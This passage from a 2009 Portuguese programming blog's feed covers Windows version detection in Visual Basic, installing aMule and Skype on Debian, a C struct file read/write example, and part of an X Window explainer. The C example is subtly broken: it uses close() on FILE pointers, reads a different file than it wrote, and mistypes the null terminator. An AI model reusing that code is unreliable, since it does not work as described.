/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;End Select&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;End Select&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Case VER_PLATFORM_WIN32_WINDOWS:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Select Case OSVersionInfo.dwVerMinor&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Case 0:    win.VersionName = "Windows 95"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Case 90:   win.VersionName = "Windows ME"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Case Else: win.VersionName = "Windows 98"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;End Select&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;End Select&lt;br /&gt;   &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;win.VersionNo = OSVersionInfo.dwVerMajor &amp; "." &amp; OSVersionInfo.dwVerMinor&lt;br /&gt;  &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;win.BuildNo = (OSVersionInfo.dwBuildNumber And &amp;HFFFF&amp;)&lt;br /&gt;       &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pos = InStr(OSVersionInfo.szCSDVersion, Chr$(0))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;If pos Then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;win.ServicePack = Left$(OSVersionInfo.szCSDVersion, pos - 1)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;End If&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ElseIf Win64 Then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;getWindowsVersion = "Windows 64 Bits"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#Else&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;getWindowsVersion = "Windows 3.X"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#End If&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Agora crie a chamada para rotina onde preferir&lt;br /&gt;Um exemplo de utilização segue abaixo&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;Dim win As T_WINVER&lt;br /&gt;getWindowsVersion win&lt;br /&gt;MsgBox "Nome: " &amp; win.VersionName &amp; Chr(13) &amp; _&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;"ID da Plataforma: " &amp; win.PlatformID &amp; Chr(13) &amp; _&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;"ServicePack: " &amp; win.ServicePack &amp; Chr(13) &amp; _&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;"Numero da Versão: " &amp; win.VersionNo &amp; Chr(13) &amp; _&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;"Build: " &amp; win.BuildNo&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-6751990918785936099?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/6751990918785936099/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/04/identificando-versao-do-windows-com.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/6751990918785936099'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/6751990918785936099'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/04/identificando-versao-do-windows-com.html' title='Identificando a versão do Windows com Visual Basic'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-944792307777087432</id><published>2009-04-02T07:05:00.000-07:00</published><updated>2009-05-04T10:13:46.048-07:00</updated><title type='text'>Instalando e configurando o aMule (Debian)</title><content type='html'>&lt;br&gt;&lt;br /&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=b1b6b1f4" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Instalação&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O aMule é uma boa alternativa para usuários Linux do programa eMule, seu concorrente famoso usando na plataforma Windows. Os dois são bastante parecidos, o que o torna bastante atraente para usuários novos na plataforma Linux acostumados com seu concorrente no Windows. A grande vantagem do aMule é que ele tem versões para várias plataformas: Linux, Mac e até Windows.&lt;br /&gt;&lt;br /&gt;Para quem tem dúvida sobre sua performance, se tem a mesma quantidade de usuários consequentemente mesma quantidade de arquivos disponíveis. O aMule trabalha com a mesma rede, eDonkey.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Instalação&lt;/span&gt;&lt;br /&gt;A instalação é bastante simples. Os passos abaixo foram testados no Debian e não apresentaram problemas.&lt;br /&gt;&lt;br /&gt;Abra o terminal em modo root.&lt;br /&gt;&lt;br /&gt;Digite a seguinte linha de comando:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# apt-get install amule&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Responda sim (yes) em todas as perguntas.&lt;br /&gt;&lt;br /&gt;Feito isso a instalação irá se completar sem problemas.&lt;br /&gt;&lt;br /&gt;OBS.: Se os pacotes não forem encontrados, siga os passo do repositório e volte a executar esses passos. Caso contrário, pule para a configuração.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Repositório&lt;/span&gt;&lt;br /&gt;Se a instalação falhou, os pacotes não foram encontrados, é porque o repositório usado não os contém. Para solucionar esse problema vamos incluir novos repositórios as seu Debian. Caso algum dos repositórios já esteja sendo utilizado, não o adicione.&lt;br /&gt;&lt;br /&gt;Edite o arquivo &lt;span style="font-style:italic;"&gt;/etc/apt/sources.list&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# vim /etc/apt/sources.list&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Inclua no final do arquivo as seguintes linhas:&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;############&lt;br /&gt;deb http://ftp.debian.org/debian/ etch main&lt;br /&gt;deb-src http://ftp.debian.org/debian/ etch main&lt;br /&gt;&lt;br /&gt;deb http://security.debian.org/ etch/updates main contrib&lt;br /&gt;deb-src http://security.debian.org/ etch/updates main contrib&lt;br /&gt;############&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Salve o arquivo.&lt;br /&gt;&lt;br /&gt;Os repositórios estão adicionados, volte a instalação.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Configuração&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O grande problema que tenho visto após o aMule estar instalado é o fato de não conseguirem se conectar a rede. Isso acontece pois várias listas de servidores foram desativadas, incluindo a padrão da instalação do aMule.&lt;br /&gt;&lt;br /&gt;Para corrigir isso:&lt;br /&gt;&lt;br /&gt;Vá opção Rede &gt; servidores e inclua as seguintes URLs. Clique em atualizar lista após cada uma.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;http://www.picsystems.net/emule/servermet/all_server.met&lt;/span&gt;&lt;br /&gt;(essa lista deve te retornar aproximadamente uns 180 servidores)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;http://www.gruk.org/server.met.gz&lt;/span&gt;&lt;br /&gt;(essa lista de te retornar uns 25 servidores)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;http://www.gruk.org/server.met&lt;/span&gt;&lt;br /&gt;(essa lista deve trazer uns 5 servidores)&lt;br /&gt;&lt;br /&gt;Pronto, você está pronto, o aMule está pronto para conectar-se a rede.&lt;br /&gt;&lt;br /&gt;OBS.: Sugiro que inclua essas três URLs em:&lt;br /&gt;&lt;br /&gt;Preferências &gt; Servidor &gt; Atualizar lista de servidor ao se conectar (Botão lista). Sugiro também que marque esta mesma opção.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-944792307777087432?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/944792307777087432/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/04/instalando-e-configurando-o-amule.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/944792307777087432'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/944792307777087432'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/04/instalando-e-configurando-o-amule.html' title='Instalando e configurando o aMule (Debian)'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-7968130527926579156</id><published>2009-04-01T16:32:00.000-07:00</published><updated>2009-05-04T10:13:08.212-07:00</updated><title type='text'>Instalação do Skype no Debian</title><content type='html'>&lt;br&gt;&lt;br /&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=aeae89f1" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;O Skype é um programa VoIP que tem conquistado cada vez mais espaço. Particularmente prefiro ele ao Windows messenger por achá-lo mais profissional, mais leve, além de ter uma grande quantidade de recurso. A versão para Linux, infelizmente não é tão atraente quanto a Versão Windows, porém cumpre a sua função muito bem.&lt;br /&gt;&lt;br /&gt;Veja uma &lt;a href="http://www.vivaolinux.com.br/screenshot/Gnome-Skype-para-Linux-gjr_rj/"&gt;screenshot&lt;/a&gt; dele em ação.&lt;br /&gt;&lt;br /&gt;Para instalar, entre no site:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;a href="http://www.skype.com/intl/en/download/skype/linux/choose/"&gt;http://www.skype.com/intl/en/download/skype/linux/choose/&lt;/a&gt;&lt;/blockquote&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Escolha a sua distribuição e faça a instalação.&lt;br /&gt;&lt;br /&gt;Neste caso irei me basear no Debian.&lt;br /&gt;&lt;br /&gt;Escolha neste site o download da distribuição Debian. Salve o arquivo .deb.&lt;br /&gt;&lt;br /&gt;Como root, abra um terminal e digite o comando:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# dpkg -i skype-debian_xxx.deb&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Onde xxx é a versão do skype.&lt;br /&gt;&lt;br /&gt;Uma outra forma bastante fácil é através do apt-get.&lt;br /&gt;&lt;br /&gt;Neste caso, inclua o repositório para baixar o skype no arquivo /etc/apt/sources.list. Edite o arquivo da forma que preferir e inclua a linha:&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;deb http://download.skype.com/linux/repos/debian/ stable non-free&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Salve o arquivo e execute os comandos:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# apt-get update&lt;br /&gt;# apt-get install skype&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Seguindo os passos, o Skype estará instalado e funcionando sem nenhuma configuração adicional.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-7968130527926579156?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/7968130527926579156/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/04/instalacao-do-skype-no-debian.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/7968130527926579156'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/7968130527926579156'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/04/instalacao-do-skype-no-debian.html' title='Instalação do Skype no Debian'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-5260008651769627898</id><published>2009-03-30T19:52:00.000-07:00</published><updated>2009-05-04T10:12:21.199-07:00</updated><title type='text'>leitura/escrita de dados/estruturas em arquivo</title><content type='html'>&lt;br&gt;&lt;br /&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=dda251ae" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;O código a seguir é apenas um exemplo simples de gravação de dados em arquivo texto sob forma de estrutura.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;typedef struct Taluno&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char nome[20];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int idade;&lt;br /&gt;} Taluno;&lt;br /&gt;&lt;br /&gt;Taluno aluno, raluno;&lt;br /&gt;&lt;br /&gt;int main(void)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   /* aqui pode usar o strcpy, mas preferir por caracter x caracter para melhor visualizacao do que esta ocorrendo */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   aluno.nome[0] = 'F';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   aluno.nome[1] = 'u';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   aluno.nome[2] = 'l';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   aluno.nome[3] = 'a';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   aluno.nome[4] = 'n';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   aluno.nome[5] = 'o';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   aluno.nome[6] = '\ 0';&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   aluno.idade = 10;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   FILE *file;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   /* abrindo o arquivo para escrita */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   if (!(file=fopen("teste.txt","w+"))) return 0;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   /* gravando os dados */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   fwrite (&amp;aluno, 1, sizeof (Taluno), file);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   close (file);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   /* apenas para separar a escrita da leitura em 2 tempos */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   /* vou usar variaveis diferentes apenas para realmente verem que realmente a leitura esta sendo feita totalmente independente da escrita, nao quero deixar duvida  */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   printf ("precione qualquer &lt;ENTER&gt; para continuar ...\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   getchar();&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   FILE *filer;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   /* abrindo o arquivo para leitura */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   if (!(filer=fopen("teste.bkp","r"))) return 0;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   long ret;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   /* lendo o arquivo */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   ret = fread (&amp;raluno, 1,sizeof (Taluno), filer);&lt;br /&gt;   &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   if (ret &gt; 0)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;      /* imprimindo o conteudo lido */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;      printf ("Nome: %s\nidade: %d anos\n", raluno.nome, raluno.idade);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   close (filer);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;   return 1;&lt;br /&gt;}&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-5260008651769627898?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/5260008651769627898/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/03/leituraescrita-de-dadosestruturas-em.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/5260008651769627898'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/5260008651769627898'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/03/leituraescrita-de-dadosestruturas-em.html' title='leitura/escrita de dados/estruturas em arquivo'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-181470728934851482</id><published>2009-03-30T14:52:00.000-07:00</published><updated>2009-05-04T10:11:15.564-07:00</updated><title type='text'>X Window, Controladores de Janelas e Ambientes Desktop</title><content type='html'>&lt;br&gt;&lt;br /&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=29d20805" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;O que é o X ?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O X window é um conjunto de protocolos e funções de comunicação utilizados para construir as primitivas gráficas, em sistema de janelas; como pontos, linhas e retângulos, e interface com hardware gráfico e entrada de dados (mouse, teclado). Praticamente tudo que você vê em um ambiente gráfico do GNU/Linux, FreeBSD, OpenBSD, NetBSD, Solaris e outros - Irei generalizar tudo como Linux - partiu de uma solicitação de uma aplicação ou biblioteca para o X.&lt;br /&gt;&lt;br /&gt;O X foi criado desde sua base para suportar gráficos em rede. Os programas ou aplicações são conhecidos como clientes. Os clientes não desenham ou manipulam os gráficos direto em seu exibidor, mas se comunicam com seu servidor X para que esses manipulem o seu exibidor.&lt;br /&gt;&lt;br /&gt;A confusão se dá basicamente por dois motivos:&lt;br /&gt;&lt;br /&gt;    &lt;span style="font-weight:bold;"&gt;*&lt;/span&gt; Normalmente os usuários caseiros executam o servidor e o cliente X na mesma máquina, passando a falsa sensação de que o exibidor é controlado pela aplicação que está sendo executada. Porém é possível executar vários servidores X em um único computador e os clientes de computadores remotos. Isso significa que ele pode ser acessado por vários tipos de rede ou através de uma linha dial-up.&lt;br /&gt;    &lt;span style="font-weight:bold;"&gt;*&lt;/span&gt; Outro motivo é que a idéia de quem é o cliente e quem é o servidor aparenta estar invertida neste caso. Se interajo com uma aplicação rodando remotamente, vou supor que sou o cliente e a outra máquina o servidor. Mas no caso do X, minha máquina será o servidor para a aplicação remota, pois esta enviará os pedidos (desenhe uma janela, um ícone, etc) para o servidor X rodando na minha máquina, que por sua vez exibirá na minha tela as solicitações da aplicação cliente X, e enviará para mesma a movimentação do mouse e entradas do teclado relevantes. &lt;br /&gt;&lt;br /&gt;Você não deve se referir ao X Window como X Windows, os termos apropriados são X, X11, X versão 11 ou sistema X Window versão 11.&lt;br /&gt;&lt;br /&gt;O X Foi desenvolvido de início no Instituto de Tecnologia de Massachussets no início dos anos 80. O primeiro lançamento oficial foi o X 10 no meado da década de 80 com lançamento do X11R1 em 1987. Com o fim de sua associação criadora o X passou a ser de propriedade da organização não-comercial X.org, cujos membros executivos incluem a Compaq, HP, IBM, Sun, SGI etc - que mantiveram o modelo original inalterado. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;A evolução do X&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Um sistema X Window muito utilizado nas distribuições Linux é a coleção de programas do Projeto XFree86 que é baseado na X11R6.4 ou X11, revisão 6.4.&lt;br /&gt;&lt;br /&gt;O XFree86 é resultado do trabalho de vários programadores do Open Source e desenvolvedores ao redor do mundo. Uma das vantagens do XFree86 é que a maioria, senão todo o código fonte para os servidores, clientes, módulos, bibliotecas está disponível. Todavia o XFree86 não é distribuído sob a licença GLP, ele é protegido por um tipo de licença BSD de direito autoral, nem todo o código fonte tem que ser fornecido e os vendedores podem fazer melhorias porém distribuir apenas versões em binário.&lt;br /&gt;&lt;br /&gt;O XFree86 funciona em uma quantidade bastante vasta de chips de vídeo, placas gráficas e sistemas para notebook, incluindo hardware não Intel. Porém, se você tiver uma necessidade especial ou o XFree86 não funcionar adequadamente, você pode usar fontes alternativas.&lt;br /&gt;&lt;br /&gt;Posteriormente, a versão XFree86 da X.Org, baseado no X11R6.4 incluíram algumas melhorias como exibidores multi-head (XINERMA), recursos de configuração mais simples, Display Power Management Signal (DPMS) para economizar energia dos monitores, exigência de memória reduzida, APIs, novas placas gráficas suporte DRI para gráficos 3D etc.&lt;br /&gt;&lt;br /&gt;As novas distribuições vem disponibilizando como X Window o XOrg e não mais o XFree86. O XOrg é um fork no projeto Xfree a partir da versão 4.4 Rc2. Essa mudança originou-se por causa da licença do Xfree4.4 final que impunha cláusulas de propaganda.&lt;br /&gt;&lt;br /&gt;Basicamente, como o xfree é open source, ex-programadores do xfree, insatisfeitos com o desenvolvimento do mesmo, resolveram fazer um novo projeto baseado no xfree. Como o xfree mudou a sua licença, onde cada distro que a utilizasse ficaria obrigada a mencionar o uso do xfree em sua licença principal, algumas distros resolveram mudar para a XOrg, que utiliza a licença GNU/GPL tradicional. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Entendendo o X&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Antes de continuarmos vamos analisar a estrutura típica do Linux.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_UGGKVNwng_k/SdFAyJsgqaI/AAAAAAAAAAU/ibe41DPbnjI/s1600-h/camadas.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 180px; height: 203px;" src="http://4.bp.blogspot.com/_UGGKVNwng_k/SdFAyJsgqaI/AAAAAAAAAAU/ibe41DPbnjI/s320/camadas.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5319103865241512354" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Cada camada recebe solicitações da camada superior e faz suas solicitações as camadas inferiores. Contudo as camadas não são obrigadas a fazer solicitações as camadas imediatamente inferiores, as solicitações podem pular camadas e fazer solicitações a camadas ainda mais abaixas. As camadas inferiores, assim, não tem consciência de quem está acima. Acima de tudo está o usuário que ao interagir com as aplicações não precisam saber se estão manipulando o Kernel, ferramentas, ambiente gráfico ou seja lá o que venham a inventar.&lt;br /&gt;&lt;br /&gt;Esse tipo de estrutura é bem flexível, pois, podemos trocar qualquer componente de uma camada por outro compatível que continua tudo a funcionar normalmente. Lembrando que o padrão seguido pelos Linux POSIX, que 